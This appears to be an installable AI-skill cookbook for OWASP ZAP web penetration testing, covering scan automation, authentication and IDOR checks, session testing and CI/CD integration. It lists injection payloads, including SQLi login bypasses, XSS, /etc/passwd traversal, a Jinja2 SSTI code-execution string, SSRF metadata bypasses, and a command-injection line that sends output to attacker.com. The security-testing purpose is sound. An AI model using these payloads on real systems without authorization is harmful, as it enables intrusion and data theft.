ZAP Cookbook
Practical OWASP ZAP recipes for web app pentesting: Docker/GUI setup, Python API automation, spidering (traditional + AJAX), authentication bypass, IDOR, cookie security, CSRF, session hijacking, XSS/SQLi/SSTI/SSRF/command injection fuzzing, business logic manipulation, report generation, and CI/CD integration.
- › Set up ZAP via Docker or GUI and configure browser proxy for HTTPS interception
- › Automate ZAP scans via Python API: spider, active scan, alert retrieval
- › Test authentication bypass using SQLi payloads, JWT manipulation, and credential fuzzing
- › Identify IDOR vulnerabilities by replaying requests with modified ID parameters
- › Fuzz input fields for XSS, SQLi, SSTI, and command injection using payload wordlists
- › Test SSRF with AWS metadata endpoint and bypass encoding techniques
- › Integrate ZAP baseline and full scans into CI/CD pipelines via Docker and GitHub Actions
Install this skill and Claude can configure OWASP ZAP for authorized web app assessments, automate scans via the Python API, craft authentication bypass and IDOR test cases, build injection fuzzing payloads for XSS/SQLi/SSTI/SSRF, and design ZAP baseline scan integration for CI/CD pipelines via Docker and GitHub Actions
Web application vulnerabilities remain the leading cause of data breaches, yet most development teams lack continuous security testing tooling — integrating ZAP into CI/CD pipelines shifts vulnerability discovery left and catches OWASP Top 10 issues before they reach production
- › Writing a ZAP Python API script that spiders a target web application, runs an active scan, filters alerts to High and Critical severity, and outputs a structured JSON report for triage
- › Testing an authenticated web application for IDOR by capturing a profile request in ZAP Requester and replaying it with modified user ID parameters from a second test account
- › Configuring a GitHub Actions workflow that runs a ZAP baseline scan against a pull request deployment preview and fails the build if any high-severity findings are detected
ZAP Cookbook Skill
Setup and Configuration
Initial ZAP Setup
# Docker (headless)
docker pull zaproxy/zap-stable
docker run -p 8080:8080 zaproxy/zap-stable zap.sh -daemon \
-port 8080 -host 0.0.0.0 -config api.key=myapikey
# GUI launch
zaproxy &
# Default proxy: localhost:8080
# Configure browser proxy:
# Browser → Settings → Network → Manual proxy → localhost:8080
# Import ZAP CA certificate to browser for HTTPS interception
ZAP API (Headless Automation)
import requests
ZAP_URL = "http://localhost:8080"
API_KEY = "myapikey"
def zap_api(endpoint, params={}):
params['apikey'] = API_KEY
r = requests.get(f"{ZAP_URL}/JSON/{endpoint}", params=params)
return r.json()
# Spider a target
zap_api("spider/action/scan/", {"url": "http://target.com"})
# Check spider progress
zap_api("spider/view/status/", {"scanId": "0"})
# Run active scan
zap_api("ascan/action/scan/", {"url": "http://target.com"})
# Check active scan progress
zap_api("ascan/view/status/", {"scanId": "0"})
# Get alerts
alerts = zap_api("core/view/alerts/", {"baseurl": "http://target.com"})
Crawling and Spidering
Traditional Spider
ZAP → Tools → Spider
1. Set target URL
2. Adjust scope: "In Scope" to prevent out-of-scope crawling
3. Configure max depth, thread count
4. Start spider → monitor Sites tree for discovered URLs
5. Review discovered content in Sites tree
Best for: static HTML, form discovery
AJAX Spider (JavaScript-Heavy Apps)
ZAP → Tools → AJAX Spider
1. Set target URL
2. Select browser (Firefox/Chrome headless or PhantomJS)
3. Configure crawl time limit (default: 60 minutes)
4. Start → ZAP controls browser, clicks JavaScript elements
5. Review Sites tree for SPA routes and API endpoints
Best for: React/Angular/Vue apps, dynamic content
Setting Scope
Right-click target in Sites tree → Include in Context → Default Context
Or: Context → Include in Context → Pattern: http://target.com.*
Benefits:
- Active scan only hits in-scope URLs
- Alerts filtered to context
- Authentication applies to context
Authentication Testing
Testing Authentication Bypass
ZAP approach:
1. Browse to login page → ZAP captures request in History
2. Right-click login request → Open/Resend in Requester
3. Test bypass techniques:
a. SQL injection in username: admin' OR '1'='1
b. SQL injection in password: anything' OR 'x'='x
c. Blank password
d. JWT manipulation (change algorithm to 'none', modify claims)
4. Compare response codes and body between valid/invalid
ZAP Fuzzer for credential brute force:
1. Select username or password field in request
2. Right-click → Fuzz
3. Add payload: File Fuzzers → usernames.txt / passwords.txt
4. Start fuzzer → sort by response size to find valid credentials
Default Credentials Testing
ZAP → Marketplace → Install "Default Credentials" add-on
Or manually test:
1. Identify application/technology (via headers, error pages, fingerprinting)
2. Fuzzer: Use SecLists/Passwords/Default-Credentials/ wordlist
3. admin:admin, admin:password, root:root, admin:1234 etc.
IDOR (Insecure Direct Object Reference)
ZAP workflow:
1. Capture request with ID parameter (e.g., /user/profile?id=123)
2. Right-click → Open/Resend in Requester
3. Change ID to another user's ID (e.g., id=124, id=1, id=999)
4. Compare responses:
- Same response structure? → IDOR exists
- 403/404? → Access control working
ZAP Active Scanner: automatically tests IDORs by incrementing numeric parameters
Rule: "Path Traversal" and "Parameter Tampering" in active scan
Directory Traversal / File Inclusion
Payloads to test (Fuzzer):
../../../etc/passwd
....//....//....//etc/passwd (encoding bypass)
..%2F..%2F..%2Fetc%2Fpasswd (URL encoding)
%252e%252e%252f (double URL encoding)
ZAP Fuzzer:
1. Select path or parameter in request
2. Add File Fuzzer → LFI-jhaddix.txt (from SecLists)
3. Run → filter responses for file contents (e.g., "root:")
Session Management Testing
Cookie Security Testing
ZAP → Right-click any response with Set-Cookie header → Cookie Analysis
Check for:
- HttpOnly flag missing → XSS can steal cookie
- Secure flag missing → cookie sent over HTTP
- SameSite=None without Secure → CSRF risk
ZAP Passive Scanner automatically flags:
- Cookie without HttpOnly (rule 10010)
- Cookie without Secure (rule 10011)
- Cookie without SameSite (rule 10054)
CSRF Testing
ZAP → Active Scanner → CSRF checks
Or manual:
1. Capture state-changing request (POST to /transfer, /delete, etc.)
2. Check for CSRF token in request
3. If no token: CSRF vulnerability
4. If token exists: test if it's validated
- Remove token → does request succeed? → Broken
- Change token value → does request succeed? → Broken
- Use old token → does request succeed? → Broken
ZAP add-on: CSRF Tester (generates PoC HTML page)
Session Hijacking / Fixation
ZAP workflow:
1. Log in → capture session cookie value
2. Log out → note if session ID changes (fixation if same)
3. Test: manually set session cookie to pre-auth value → should fail
4. Session entropy: ZAP → Tools → Session Token Analyzer
(analyzes randomness of token generation)
Passive rule 10111: "Session Management Response Identified"
Active rule: sends requests with modified session tokens
Input Validation Testing
XSS (Cross-Site Scripting)
ZAP active scanner: enabled by default — tests XSS in all parameters
Manual testing with Fuzzer:
1. Select parameter in GET/POST request
2. Add Payload → File Fuzzer → xss-payloads.txt
3. Filter by response containing <script> or alert(
4. Verify in browser context
Common payloads:
<script>alert(1)</script>
"><script>alert(1)</script>
'"><img src=x onerror=alert(1)>
javascript:alert(1)
<svg onload=alert(1)>
DOM-based XSS: ZAP AJAX Spider + passive scanner
SQL Injection
ZAP active scanner: rule 40018 (SQL Injection) — runs automatically
Manual Fuzzer:
1. Select parameter
2. Add payloads:
' → single quote (error test)
1' OR '1'='1 → always-true
1' AND SLEEP(5)-- → time-based blind
1' UNION SELECT NULL-- → UNION test
1' UNION SELECT NULL,NULL--
3. Filter by: response time > 5s (time-based), response size change, SQL error messages
ZAP + sqlmap integration:
1. Right-click request → "Attack" → "SQL Injection Analysis (sqlmap)"
(requires sqlmap add-on)
Server-Side Template Injection (SSTI)
Test input fields that reflect values back:
1. Enter: {{7*7}}
2. If response contains 49: SSTI exists (Jinja2/Twig/FreeMarker)
Engine detection:
{{7*7}} → 49 (Jinja2, Twig)
${7*7} → 49 (Freemarker, Groovy)
<%= 7*7 %> → 49 (ERB/EJS)
{7*7} → 49 (Smarty)
ZAP Fuzzer: SSTI payload list
RCE via SSTI (Jinja2):
{{''.__class__.__mro__[1].__subclasses__()[XXX].__init__.__globals__['os'].popen('id').read()}}
Server-Side Request Forgery (SSRF)
Test URL input fields:
1. Enter: http://169.254.169.254/latest/meta-data/ (AWS metadata)
2. Enter: http://internal-server.local/ (internal network access)
3. Enter: http://attacker.com/ssrf-test (OOB detection with Burp Collaborator/interactsh)
ZAP + Interactsh for OOB SSRF detection:
- Generate unique URL from interactsh
- Use as SSRF payload
- Monitor for DNS/HTTP callbacks
Bypass filter techniques:
http://169.254.169.254/ → blocked?
http://169.254.169.254.nip.io/ → DNS rebinding bypass
http://[::ffff:169.254.169.254]/ → IPv6 representation
http://0x64A8FEE2/ → hex encoding of IP
Command Injection
ZAP: inject in input fields, HTTP headers (User-Agent, X-Forwarded-For, Referer)
Payloads:
; id
&& id
| id
`id`
$(id)
;curl http://attacker.com/$(id) → OOB command injection
Blind injection (time-based):
; sleep 5
&& ping -c 5 127.0.0.1
ZAP Active Scanner: rule 90020 (Remote OS Command Injection)
Business Logic Testing
Request Forgery / Parameter Manipulation
ZAP approach for business logic:
1. Complete normal workflow while recording in ZAP
2. Replay with modified values:
- Negative quantities: quantity=-1 (expect credit, not debit)
- Price tampering: price=0.01 (bypass price validation)
- Step skipping: jump from step 1 to step 3 (bypass approval)
- Privilege escalation: role=admin in profile update
ZAP Requester:
1. Open any captured request in Requester tab
2. Modify parameters
3. Send and analyze response
4. Compare with expected business logic outcome
Generating Reports
ZAP → Reports → Generate Report
Formats: HTML, JSON, XML, Markdown
Include: Alerts, Risk level, Description, Evidence, Solution
Command line:
zap-cli report -o report.html -f html
Custom template: ZAP supports Freemarker templates for branded reports
API:
requests.get(f"{ZAP_URL}/OTHER/core/other/htmlreport/", params={'apikey': key})
ZAP Automation (CI/CD)
Baseline Scan Script
# Run ZAP baseline scan against target (passive only)
docker run -t zaproxy/zap-stable zap-baseline.py \
-t http://target.com \
-r report.html \
-l WARN
# Full scan (active)
docker run -t zaproxy/zap-stable zap-full-scan.py \
-t http://target.com \
-r report.html \
-l WARN \
-z "-config api.key=mykey"
# API scan (OpenAPI/Swagger)
docker run -t zaproxy/zap-stable zap-api-scan.py \
-t http://target.com/openapi.json \
-f openapi \
-r api-report.html
GitHub Actions Integration
- name: ZAP Baseline Scan
uses: zaproxy/action-baseline@v0.10.0
with:
target: 'http://target.com'
rules_file_name: '.zap/rules.tsv'
fail_action: false
artifact_name: 'zap-report'